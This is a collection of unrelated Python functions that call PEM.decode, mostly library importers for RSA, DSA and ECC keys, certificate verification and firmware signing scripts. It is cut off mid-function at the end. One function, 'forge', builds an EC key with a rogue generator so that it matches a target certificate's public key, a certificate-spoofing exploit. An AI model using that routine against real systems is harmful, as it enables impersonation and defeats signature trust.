def importKey(self, extern_key, passphrase=None): extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b('-----')): der, marker, enc_flag = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return self._importKeyDER(der, passphrase) elif extern_key.startswith(b('ssh-rsa ')): keystring = binascii.a2b_base64(extern_key.split(b(' '))[1]) keyparts = [] while len(keystring) > 4: l = struct.unpack('>I', keystring[:4])[0] keyparts.append(keystring[4:4 + l]) keystring = keystring[4 + l:] e = bytes_to_long(keyparts[1]) n = bytes_to_long(keyparts[2]) return self.construct([n, e]) elif bord(extern_key[0]) == 48: return self._importKeyDER(extern_key, passphrase) else: raise ValueError('RSA key format is not supported') return
def import_key(encoded, passphrase=None): """Import an ECC key (public or private). Args: encoded (bytes or multi-line string): The ECC key to import. An ECC **public** key can be: - An X.509 certificate, binary (DER) or ASCII (PEM) - An X.509 ``subjectPublicKeyInfo``, binary (DER) or ASCII (PEM) - An OpenSSH line (e.g. the content of ``~/.ssh/id_ecdsa``, ASCII) An ECC **private** key can be: - In binary format (DER, see section 3 of `RFC5915`_ or `PKCS#8`_) - In ASCII format (PEM or OpenSSH) Private keys can be in the clear or password-protected. For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. passphrase (byte string): The passphrase to use for decrypting a private key. Encryption may be applied protected at the PEM level or at the PKCS#8 level. This parameter is ignored if the key in input is not encrypted. Returns: :class:`EccKey` : a new ECC key object Raises: ValueError: when the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _RFC5915: http://www.ietf.org/rfc/rfc5915.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt """ encoded = tobytes(encoded) if passphrase is not None: passphrase = tobytes(passphrase) # PEM if encoded.startswith(b('-----')): der_encoded, marker, enc_flag = PEM.decode(tostr(encoded), passphrase) if enc_flag: passphrase = None return _import_der(der_encoded, passphrase) # OpenSSH if encoded.startswith(b('ecdsa-sha2-')): return _import_openssh(encoded) # DER if bord(encoded[0]) == 0x30: return _import_der(encoded, passphrase) raise ValueError("ECC key format is not supported")
def verify_signature(fname, sfname, cert_file='public.crt', ca_fname='ca-root.crt', **kw): ''' Given the fname, sfname cert_file and ca_fnames: return STATUS.FAIL if the signature doesn't match return STATUS.UNKNOWN if the certificate signature can't be verified with the ca cert return STATUS.VERIFIED if both the signature and the CA sig match ''' x509 = X509(cert_file, ca_fname) ca_status = x509.verify_cert() try: with open(sfname, 'r') as fh: signature, _, _ = PEM.decode( fh.read()) # also returns header and decrypted-status except FileNotFoundError: log.error('failed to find %s for %s', sfname, fname) return STATUS.UNKNOWN if x509.verifier.verify(hash_target(fname, obj_mode=True), signature): return ca_status log.error('%s failed signature check (%s)', fname, sfname) return STATUS.FAIL
def import_key(encoded, passphrase=None): """Import an ECC key (public or private). :Parameters: encoded : bytes or a (multi-line) string The ECC key to import. An ECC public key can be: - An X.509 certificate, binary (DER) or ASCII (PEM) - An X.509 ``subjectPublicKeyInfo``, binary (DER) or ASCII (PEM) - An OpenSSH line (e.g. the content of ``~/.ssh/id_ecdsa``, ASCII) An ECC private key can be: - In binary format (DER, see section 3 of `RFC5915`_ or `PKCS#8`_) - In ASCII format (PEM or OpenSSH) Private keys can be in the clear or password-protected. For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. :Keywords: passphrase : byte string The passphrase to use for decrypting a private key. Encryption may be applied protected at the PEM level or at the PKCS#8 level. This parameter is ignored if the key in input is not encrypted. :Return: An ECC key object (`EccKey`) :Raise ValueError: When the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _RFC5915: http://www.ietf.org/rfc/rfc5915.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt """ encoded = tobytes(encoded) if passphrase is not None: passphrase = tobytes(passphrase) # PEM if encoded.startswith(b('-----')): der_encoded, marker, enc_flag = PEM.decode(tostr(encoded), passphrase) if enc_flag: passphrase = None return _import_der(der_encoded, passphrase) # OpenSSH if encoded.startswith(b('ecdsa-sha2-')): return _import_openssh(encoded) # DER if bord(encoded[0]) == 0x30: return _import_der(encoded, passphrase) raise ValueError("ECC key format is not supported")
def importKey(self, extern_key, passphrase=None): extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b('-----')): der, marker, enc_flag = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return self._importKeyDER(der, passphrase) else: if extern_key.startswith(b('ssh-dss ')): keystring = binascii.a2b_base64(extern_key.split(b(' '))[1]) keyparts = [] while len(keystring) > 4: length = struct.unpack('>I', keystring[:4])[0] keyparts.append(keystring[4:4 + length]) keystring = keystring[4 + length:] if keyparts[0] == b('ssh-dss'): tup = [bytes_to_long(keyparts[x]) for x in (4, 3, 1, 2)] return self.construct(tup) if bord(extern_key[0]) == 48: return self._importKeyDER(extern_key, passphrase) raise ValueError('DSA key format is not supported') return
def import_key(data): der, marker, _ = PEM.decode(data) ints = DerSequence().decode(der) if not marker.startswith('myDSA'): raise ValueError('Invalid format') return dict(zip(('p', 'q', 'g', 'y', 'x'), map(Integer, ints)))
def _load_private_key(self): """Load the private key used to sign HTTP requests. The private key is used to sign HTTP requests as defined in https://datatracker.ietf.org/doc/draft-cavage-http-signatures/. """ if self.private_key is not None: return with open(self.private_key_path, 'r') as f: pem_data = f.read() # Verify PEM Pre-Encapsulation Boundary r = re.compile(r"\s*-----BEGIN (.*)-----\s+") m = r.match(pem_data) if not m: raise ValueError("Not a valid PEM pre boundary") pem_header = m.group(1) if pem_header == 'RSA PRIVATE KEY': self.private_key = RSA.importKey(pem_data, self.private_key_passphrase) elif pem_header == 'EC PRIVATE KEY': self.private_key = ECC.import_key(pem_data, self.private_key_passphrase) elif pem_header in {'PRIVATE KEY', 'ENCRYPTED PRIVATE KEY'}: # Key is in PKCS8 format, which is capable of holding many different # types of private keys, not just EC keys. (key_binary, pem_header, is_encrypted) = \ PEM.decode(pem_data, self.private_key_passphrase) (oid, privkey, params) = \ PKCS8.unwrap(key_binary, passphrase=self.private_key_passphrase) if oid == '1.2.840.10045.2.1': self.private_key = ECC.import_key( pem_data, self.private_key_passphrase) else: raise Exception("Unsupported key: {0}. OID: {1}".format( pem_header, oid)) else: raise Exception("Unsupported key: {0}".format(pem_header)) # Validate the specified signature algorithm is compatible with the private key. if self.signing_algorithm is not None: supported_algs = None if isinstance(self.private_key, RSA.RsaKey): supported_algs = { ALGORITHM_RSASSA_PSS, ALGORITHM_RSASSA_PKCS1v15 } elif isinstance(self.private_key, ECC.EccKey): supported_algs = ALGORITHM_ECDSA_KEY_SIGNING_ALGORITHMS if supported_algs is not None and self.signing_algorithm not in supported_algs: raise Exception( "Signing algorithm {0} is not compatible with private key" .format(self.signing_algorithm))
def import_key(extern_key, passphrase=None): """Import an RSA key (public or private half), encoded in standard form. :Parameter extern_key: The RSA key to import, encoded as a byte string. An RSA public key can be in any of the following formats: - X.509 certificate (binary or PEM format) - X.509 ``subjectPublicKeyInfo`` DER SEQUENCE (binary or PEM encoding) - `PKCS#1`_ ``RSAPublicKey`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (textual public key only) An RSA private key can be in any of the following formats: - PKCS#1 ``RSAPrivateKey`` DER SEQUENCE (binary or PEM encoding) - `PKCS#8`_ ``PrivateKeyInfo`` or ``EncryptedPrivateKeyInfo`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (textual public key only) For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. The private key may be encrypted by means of a certain pass phrase either at the PEM level or at the PKCS#8 level. :Type extern_key: string :Parameter passphrase: In case of an encrypted private key, this is the pass phrase from which the decryption key is derived. :Type passphrase: string :Return: An RSA key object (`RsaKey`). :Raise ValueError/IndexError/TypeError: When the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _`PKCS#1`: http://www.ietf.org/rfc/rfc3447.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt """ extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b('-----')): # This is probably a PEM encoded key. (der, marker, enc_flag) = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return _import_keyDER(der, passphrase) raise ValueError("RSA key format is not supported")
def __init__(self, crt_fname, ca_fname): self.crt_fname = crt_fname self.ca_fname = ca_fname with open(ca_fname, 'r') as fh: self.ca_raw = fh.read() with open(crt_fname, 'r') as fh: self.crt_raw = fh.read() self.ca = ossl.load_certificate(ossl.FILETYPE_PEM, self.ca_raw) ossl_crt = ossl.load_certificate(ossl.FILETYPE_PEM, self.crt_raw) self.pdat = self.PEMData(*PEM.decode(self.crt_raw)) self.cdat = self.CrtData(*asn1.DerSequence().decode(self.pdat.cert)) _sig = asn1.DerObject().decode(self.cdat.sig).payload self.sig = self.SigData(_sig[0], _sig[1:], ossl_crt.get_signature_algorithm().decode()) self.crt = RSA.importKey(self.pdat.cert) self.verifier = PKCS1_v1_5.new(self.crt)
def forge(certificate_path: str, key_pem: str): """ given a valid certificate_path and key_pem create a forged key """ public_key_point = get_public_key(certificate_path) Q = Point(int(public_key_point[0:96], 16), int(public_key_point[96:], 16), curve=P384) # Generate rogue generator privkey_inv = 2 # we take the private key as being the inverse of 2 modulo the curve order private_key = gmpy2.invert(privkey_inv, P384.q) # pylint: disable=c-extension-no-member private_key = unhexlify(f"{private_key:x}".encode()) # we multply our public key Q with the inverse of our chosen private key value roug_g = privkey_inv * Q roug_g = unhexlify(b"04" + f"{roug_g.x:x}".encode() + f"{roug_g.y:x}".encode()) # Generate the file with explicit parameters with open(key_pem, mode="rt") as handle: keyfile = PEM.decode(handle.read()) seq_der = DerSequence() der = seq_der.decode(keyfile[0]) # Replace private key octet_der = DerOctetString(private_key) der[1] = octet_der.encode() # Replace public key bits_der = DerBitString(unhexlify(b"04" + public_key_point)) der[3] = b"\xa1\x64" + bits_der.encode() # Replace the generator seq_der = DerSequence() s = seq_der.decode(der[2][4:]) # pylint: disable=invalid-name octet_der = DerOctetString(roug_g) s[3] = octet_der.encode() der[2] = der[2][:4] + s.encode() return PEM.encode(der.encode(), "EC PRIVATE KEY")
def importKey(extern_key, passphrase=None): """Import an RSA key (public or private half), encoded in standard form. :Parameter extern_key: The RSA key to import, encoded as a byte string. An RSA public key can be in any of the following formats: - X.509 certificate (binary or PEM format) - X.509 ``subjectPublicKeyInfo`` DER SEQUENCE (binary or PEM encoding) - `PKCS#1`_ ``RSAPublicKey`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (textual public key only) An RSA private key can be in any of the following formats: - PKCS#1 ``RSAPrivateKey`` DER SEQUENCE (binary or PEM encoding) - `PKCS#8`_ ``PrivateKeyInfo`` or ``EncryptedPrivateKeyInfo`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (textual public key only) For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. The private key may be encrypted by means of a certain pass phrase either at the PEM level or at the PKCS#8 level. :Type extern_key: string :Parameter passphrase: In case of an encrypted private key, this is the pass phrase from which the decryption key is derived. :Type passphrase: string :Return: An RSA key object (`RsaKey`). :Raise ValueError/IndexError/TypeError: When the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _`PKCS#1`: http://www.ietf.org/rfc/rfc3447.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt """ extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b('-----')): # This is probably a PEM encoded key. (der, marker, enc_flag) = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return _importKeyDER(der, passphrase) if extern_key.startswith(b('ssh-rsa ')): # This is probably an OpenSSH key keystring = binascii.a2b_base64(extern_key.split(b(' '))[1]) keyparts = [] while len(keystring) > 4: l = struct.unpack(">I", keystring[:4])[0] keyparts.append(keystring[4:4 + l]) keystring = keystring[4 + l:] e = Integer.from_bytes(keyparts[1]) n = Integer.from_bytes(keyparts[2]) return construct([n, e]) if bord(extern_key[0]) == 0x30: # This is probably a DER encoded key return _importKeyDER(extern_key, passphrase) raise ValueError("RSA key format is not supported")
def import_key(encoded, passphrase=None): """Import an ECC key (public or private). Args: encoded (bytes or multi-line string): The ECC key to import. An ECC **public** key can be: - An X.509 certificate, binary (DER) or ASCII (PEM) - An X.509 ``subjectPublicKeyInfo``, binary (DER) or ASCII (PEM) - An OpenSSH line (e.g. the content of ``~/.ssh/id_ecdsa``, ASCII) An ECC **private** key can be: - In binary format (DER, see section 3 of `RFC5915`_ or `PKCS#8`_) - In ASCII format (PEM or OpenSSH) Private keys can be in the clear or password-protected. For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. passphrase (byte string): The passphrase to use for decrypting a private key. Encryption may be applied protected at the PEM level or at the PKCS#8 level. This parameter is ignored if the key in input is not encrypted. Returns: :class:`EccKey` : a new ECC key object Raises: ValueError: when the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _RFC5915: http://www.ietf.org/rfc/rfc5915.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt """ encoded = tobytes(encoded) if passphrase is not None: passphrase = tobytes(passphrase) # PEM if encoded.startswith(b'-----'): text_encoded = tostr(encoded) # Remove any EC PARAMETERS section # Ignore its content because the curve type must be already given in the key if sys.version_info[:2] != (2, 6): ecparams_start = "-----BEGIN EC PARAMETERS-----" ecparams_end = "-----END EC PARAMETERS-----" text_encoded = re.sub(ecparams_start + ".*?" + ecparams_end, "", text_encoded, flags=re.DOTALL) der_encoded, marker, enc_flag = PEM.decode(text_encoded, passphrase) if enc_flag: passphrase = None try: result = _import_der(der_encoded, passphrase) except UnsupportedEccFeature as uef: raise uef except ValueError: raise ValueError("Invalid DER encoding inside the PEM file") return result # OpenSSH if encoded.startswith(b'ecdsa-sha2-'): return _import_openssh(encoded) # DER if len(encoded) > 0 and bord(encoded[0]) == 0x30: return _import_der(encoded, passphrase) raise ValueError("ECC key format is not supported")
def importKey(extern_key, passphrase=None): """Import a DSA key (public or private). :Parameters: extern_key : (byte) string The DSA key to import. An DSA *public* key can be in any of the following formats: - X.509 certificate (binary or PEM format) - X.509 ``subjectPublicKeyInfo`` (binary or PEM) - OpenSSH (one line of text, see `RFC4253`_) A DSA *private* key can be in any of the following formats: - `PKCS#8`_ ``PrivateKeyInfo`` or ``EncryptedPrivateKeyInfo`` DER SEQUENCE (binary or PEM encoding) - OpenSSL/OpenSSH (binary or PEM) For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. The private key may be encrypted by means of a certain pass phrase either at the PEM level or at the PKCS#8 level. passphrase : string In case of an encrypted private key, this is the pass phrase from which the decryption key is derived. :Return: A DSA key object (`DsaKey`). :Raise ValueError: When the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _RFC4253: http://www.ietf.org/rfc/rfc4253.txt .. _PKCS#8: http://www.ietf.org/rfc/rfc5208.txt """ extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b('-----')): # This is probably a PEM encoded key (der, marker, enc_flag) = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return _importKeyDER(der, passphrase, None) if extern_key.startswith(b('ssh-dss ')): # This is probably a public OpenSSH key keystring = binascii.a2b_base64(extern_key.split(b(' '))[1]) keyparts = [] while len(keystring) > 4: length = struct.unpack(">I", keystring[:4])[0] keyparts.append(keystring[4:4 + length]) keystring = keystring[4 + length:] if keyparts[0] == b("ssh-dss"): tup = [Integer.from_bytes(keyparts[x]) for x in (4, 3, 1, 2)] return construct(tup) if bord(extern_key[0]) == 0x30: # This is probably a DER encoded key return _importKeyDER(extern_key, passphrase, None) raise ValueError("DSA key format is not supported")
def import_key(extern_key, passphrase=None): """Import an RSA key (public or private half), encoded in standard form. Args: extern_key (string or byte string): The RSA key to import. The following formats are supported for an RSA **public key**: - X.509 certificate (binary or PEM format) - X.509 ``subjectPublicKeyInfo`` DER SEQUENCE (binary or PEM encoding) - `PKCS#1`_ ``RSAPublicKey`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (textual public key only) The following formats are supported for an RSA **private key**: - PKCS#1 ``RSAPrivateKey`` DER SEQUENCE (binary or PEM encoding) - `PKCS#8`_ ``PrivateKeyInfo`` or ``EncryptedPrivateKeyInfo`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (textual public key only) For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. The private key may be encrypted by means of a certain pass phrase either at the PEM level or at the PKCS#8 level. passphrase (string): In case of an encrypted private key, this is the pass phrase from which the decryption key is derived. Returns: An RSA key object (:class:`RsaKey`). Raises: ValueError/IndexError/TypeError: When the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _`PKCS#1`: http://www.ietf.org/rfc/rfc3447.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt """ extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b('-----')): # This is probably a PEM encoded key. (der, marker, enc_flag) = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return _import_keyDER(der, passphrase) if extern_key.startswith(b('ssh-rsa ')): # This is probably an OpenSSH key keystring = binascii.a2b_base64(extern_key.split(b(' '))[1]) keyparts = [] while len(keystring) > 4: l = struct.unpack(">I", keystring[:4])[0] keyparts.append(keystring[4:4 + l]) keystring = keystring[4 + l:] e = Integer.from_bytes(keyparts[1]) n = Integer.from_bytes(keyparts[2]) return construct([n, e]) if bord(extern_key[0]) == 0x30: # This is probably a DER encoded key return _import_keyDER(extern_key, passphrase) raise ValueError("RSA key format is not supported")
def import_key(extern_key, passphrase=None): """Import a DSA key. Args: extern_key (string or byte string): The DSA key to import. The following formats are supported for a DSA **public** key: - X.509 certificate (binary DER or PEM) - X.509 ``subjectPublicKeyInfo`` (binary DER or PEM) - OpenSSH (ASCII one-liner, see `RFC4253`_) The following formats are supported for a DSA **private** key: - `PKCS#8`_ ``PrivateKeyInfo`` or ``EncryptedPrivateKeyInfo`` DER SEQUENCE (binary or PEM) - OpenSSL/OpenSSH custom format (binary or PEM) For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. passphrase (string): In case of an encrypted private key, this is the pass phrase from which the decryption key is derived. Encryption may be applied either at the `PKCS#8`_ or at the PEM level. Returns: :class:`DsaKey` : a DSA key object Raises: ValueError : when the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _RFC4253: http://www.ietf.org/rfc/rfc4253.txt .. _PKCS#8: http://www.ietf.org/rfc/rfc5208.txt """ extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b('-----')): # This is probably a PEM encoded key (der, marker, enc_flag) = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return _import_key_der(der, passphrase, None) if extern_key.startswith(b('ssh-dss ')): # This is probably a public OpenSSH key keystring = binascii.a2b_base64(extern_key.split(b(' '))[1]) keyparts = [] while len(keystring) > 4: length = struct.unpack(">I", keystring[:4])[0] keyparts.append(keystring[4:4 + length]) keystring = keystring[4 + length:] if keyparts[0] == b("ssh-dss"): tup = [Integer.from_bytes(keyparts[x]) for x in (4, 3, 1, 2)] return construct(tup) if bord(extern_key[0]) == 0x30: # This is probably a DER encoded key return _import_key_der(extern_key, passphrase, None) raise ValueError("DSA key format is not supported")
def main(): parser = argparse.ArgumentParser( description="Pad and append CSV file to FPGA bitstream") parser.add_argument("-b", "--bitstream", required=True, help="file containing FPGA bitstream", type=str) parser.add_argument("-c", "--csv-file", required=True, help="file containing CSV input", type=str) parser.add_argument("-o", "--output-file", required=True, help="destination file for binary data", type=str) parser.add_argument("--key", required=False, help="signing key", type=str, nargs='?', metavar=('signing key'), const=DEVKEY_PATH) args = parser.parse_args() if args.key is None: key = DEVKEY_PATH else: key = args.key with open(key) as key_f: key_pem = key_f.read() try: pem = PEM.decode(key_pem, None) except: passphrase = input("Enter loader key passphrase: ") pem = PEM.decode(key_pem, passphrase) (key_pkey, pemtype, enc) = pem if pemtype != 'PRIVATE KEY': print("PEM type for loader was not a private key. Aborting.") exit(1) checksum = hashlib.md5(open(args.bitstream, 'rb').read()).digest() # NOTE NOTE NOTE # can't find a good ASN.1 ED25519 key decoder, just relying on the fact that the last 32 bytes are "always" the private key. always? the private key? signing_key = SigningKey(key_pkey[-32:], encoder=RawEncoder) signing_data = list() TOTAL_LEN = 0x28_0000 SIGNATURE_LOC = 0x27_F000 CSR_CSV_LOC = 0x27_7000 METADATA_LOC = 0x27_6000 pad_to = 0x7FC0 with open(args.bitstream, "rb") as bitstream: with open(args.csv_file, "rb") as ifile: with open(args.output_file, "wb") as ofile: # create the CSV appendix data = ifile.read() # read in the whole block of CSV data git_rev = subprocess.Popen( ["git", "describe", "--long", "--always"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) (rev, err) = git_rev.communicate() data += b"git_rev," data += rev odata = bytearray() odata += len(data).to_bytes(4, 'little') odata += data padding = bytes([0xff]) * (pad_to - len(data) - 4) odata += padding hasher = hashlib.sha512() hasher.update(odata) digest = hasher.digest() odata += digest # odata now contains the csv appendix # assemble the final output file bits = bitstream.read() # read in all the bitstream position = 0 # seek past the preamble junk that's ignored while position < len(bits): sync = int.from_bytes(bits[position:position + 4], 'big') if sync == 0xaa995566: break position = position + 1 program_data = bits[position:] aes_padding = 8 # insert padding so that AES blocks line up on erase block boundaries # this may have to be adjusted if you change the bitstream header parameters written = 0 written += ofile.write(bytes([0xff] * aes_padding)) signing_data += bytes([0xff] * aes_padding) written += ofile.write(program_data) signing_data += program_data # insert metadata metadata_pad = bytes([0xff]) * (METADATA_LOC - written) written += ofile.write(metadata_pad) signing_data += metadata_pad metadata = compute_metadata(checksum) assert (written == METADATA_LOC) written += ofile.write(metadata) signing_data += metadata assert (written == CSR_CSV_LOC) # add the CSR data written += ofile.write(odata) signing_data += odata assert (written == SIGNATURE_LOC) signature = signing_key.sign(signing_data, encoder=RawEncoder) written += ofile.write( (int(SIGNER_VERSION).to_bytes(4, 'little'))) written += ofile.write(len(signing_data).to_bytes(4, 'little')) written += ofile.write(signature.signature) written += ofile.write(bytes([0xff]) * (TOTAL_LEN - written)) assert (written == TOTAL_LEN)
def main(): global DEVKEY_PATH parser = argparse.ArgumentParser(description="Sign binary images for Precursor") parser.add_argument( "--loader-image", required=False, help="loader image", type=str, nargs='?', metavar=('loader image'), const='../target/riscv32imac-unknown-none-elf/release/loader_presign.bin' ) parser.add_argument( "--kernel-image", required=False, help="kernel image", type=str, nargs='?', metavar=('kernel image'), const='../target/riscv32imac-unknown-none-elf/release/xous_presign.img' ) parser.add_argument( "--loader-key", required=False, help="loader signing key", type=str, nargs='?', metavar=('loader signing key'), const=DEVKEY_PATH ) parser.add_argument( "--kernel-key", required=False, help="kernel signing key", type=str, nargs='?', metavar=('kernel signing key'), const=DEVKEY_PATH ) parser.add_argument( "--loader-output", required=False, help="loader output image", type=str, nargs='?', metavar=('loader output image'), const='../target/riscv32imac-unknown-none-elf/release/loader.bin' ) parser.add_argument( "--kernel-output", required=False, help="kernel output image", type=str, nargs='?', metavar=('kernel output image'), const='../target/riscv32imac-unknown-none-elf/release/xous.img' ) parser.add_argument( "--defile", help="patch the resulting image, to create a test file to catch signature failure", default=False, action="store_true" ) args = parser.parse_args() if not len(sys.argv) > 1: print("No arguments specified, doing nothing. Use --help for more information.") exit(1) if args.loader_image and (args.loader_key is None): loader_key = DEVKEY_PATH else: loader_key = args.loader_key if args.loader_image and (args.loader_output is None): loader_output = '../target/riscv32imac-unknown-none-elf/release/loader.bin' else: loader_output = args.loader_output if loader_key is not None and loader_key is not DEVKEY_PATH: with open(loader_key) as loader_f: loader_pem = loader_f.read() try: pem = PEM.decode(loader_pem, None) except: passphrase = input("Enter loader key passphrase: ") pem = PEM.decode(loader_pem, passphrase) (loader_pkey, pemtype, enc) = pem if pemtype != 'PRIVATE KEY': print("PEM type for loader was not a private key. Aborting.") exit(1) else: loader_pkey = None if loader_pkey != None: blob_sign(args.loader_image, loader_output, loader_pkey, defile=args.defile) # for now, the kernel signing path is just signing a blob that is the overall binary # however, there is some aspiration to sign individual binaries, and to incorporate # signatures into the kernel tags. leave this path separate so there's an on-ramp # to add these features if args.kernel_image and (args.kernel_key is None): kernel_key = DEVKEY_PATH else: kernel_key = args.kernel_key if args.kernel_image and (args.kernel_output is None): kernel_output = '../target/riscv32imac-unknown-none-elf/release/xous.img' else: kernel_output = args.kernel_output if kernel_key is not None and kernel_key is not DEVKEY_PATH: with open(kernel_key) as kernel_f: kernel_pem = kernel_f.read() try: pem = PEM.decode(kernel_pem, None) except: passphrase = input("Enter kernel key passphrase: ") pem = PEM.decode(kernel_pem, passphrase) (kernel_pkey, pemtype, enc) = pem if pemtype != 'PRIVATE KEY': print("PEM type for kernel was not a private key. Aborting.") exit(1) else: kernel_pkey = None if kernel_pkey != None: blob_sign(args.kernel_image, kernel_output, kernel_pkey, defile=args.defile)
def importKey(extern_key, passphrase=None, verify_x509_cert=True): """Import an RSA key (public or private half), encoded in standard form. :Parameter extern_key: The RSA key to import, encoded as a byte string. An RSA public key can be in any of the following formats: - X.509 certificate (binary or PEM format) - X.509 ``subjectPublicKeyInfo`` DER SEQUENCE (binary or PEM encoding) - `PKCS#1`_ ``RSAPublicKey`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (textual public key only) An RSA private key can be in any of the following formats: - PKCS#1 ``RSAPrivateKey`` DER SEQUENCE (binary or PEM encoding) - `PKCS#8`_ ``PrivateKeyInfo`` or ``EncryptedPrivateKeyInfo`` DER SEQUENCE (binary or PEM encoding) - OpenSSH (textual public key only) For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. The private key may be encrypted by means of a certain pass phrase either at the PEM level or at the PKCS#8 level. :Type extern_key: string :Parameter passphrase: In case of an encrypted private key, this is the pass phrase from which the decryption key is derived. :Type passphrase: string :Parameter verify_x509_cert: When importing the public key from an X.509 certificate, whether the certificate should be validated. **Since verification is not yet supported, this value must always be set to False**. This value is ignored if an X.509 certificate is not passed. :Type verify_x509_cert: bool :Return: An RSA key object (`RsaKey`). :Raise ValueError/IndexError/TypeError: When the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _`PKCS#1`: http://www.ietf.org/rfc/rfc3447.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt """ extern_key = tobytes(extern_key) if passphrase is not None: passphrase = tobytes(passphrase) if extern_key.startswith(b('-----')): # This is probably a PEM encoded key. (der, marker, enc_flag) = PEM.decode(tostr(extern_key), passphrase) if enc_flag: passphrase = None return _importKeyDER(der, passphrase, verify_x509_cert) if extern_key.startswith(b('ssh-rsa ')): # This is probably an OpenSSH key keystring = binascii.a2b_base64(extern_key.split(b(' '))[1]) keyparts = [] while len(keystring) > 4: l = struct.unpack(">I", keystring[:4])[0] keyparts.append(keystring[4:4 + l]) keystring = keystring[4 + l:] e = Integer.from_bytes(keyparts[1]) n = Integer.from_bytes(keyparts[2]) return construct([n, e]) if bord(extern_key[0]) == 0x30: # This is probably a DER encoded key return _importKeyDER(extern_key, passphrase, verify_x509_cert) raise ValueError("RSA key format is not supported")
def import_key(encoded, passphrase=None): """Import an ECC key (public or private). Args: encoded (bytes or multi-line string): The ECC key to import. An ECC **public** key can be: - An X.509 certificate, binary (DER) or ASCII (PEM) - An X.509 ``subjectPublicKeyInfo``, binary (DER) or ASCII (PEM) - An OpenSSH line (e.g. the content of ``~/.ssh/id_ecdsa``, ASCII) An ECC **private** key can be: - In binary format (DER, see section 3 of `RFC5915`_ or `PKCS#8`_) - In ASCII format (PEM or `OpenSSH 6.5+`_) Private keys can be in the clear or password-protected. For details about the PEM encoding, see `RFC1421`_/`RFC1423`_. passphrase (byte string): The passphrase to use for decrypting a private key. Encryption may be applied protected at the PEM level or at the PKCS#8 level. This parameter is ignored if the key in input is not encrypted. Returns: :class:`EccKey` : a new ECC key object Raises: ValueError: when the given key cannot be parsed (possibly because the pass phrase is wrong). .. _RFC1421: http://www.ietf.org/rfc/rfc1421.txt .. _RFC1423: http://www.ietf.org/rfc/rfc1423.txt .. _RFC5915: http://www.ietf.org/rfc/rfc5915.txt .. _`PKCS#8`: http://www.ietf.org/rfc/rfc5208.txt .. _`OpenSSH 6.5+`: https://flak.tedunangst.com/post/new-openssh-key-format-and-bcrypt-pbkdf """ from Crypto.IO import PEM encoded = tobytes(encoded) if passphrase is not None: passphrase = tobytes(passphrase) # PEM if encoded.startswith(b'-----BEGIN OPENSSH PRIVATE KEY'): text_encoded = tostr(encoded) openssh_encoded, marker, enc_flag = PEM.decode(text_encoded, passphrase) result = _import_openssh_private_ecc(openssh_encoded, passphrase) return result elif 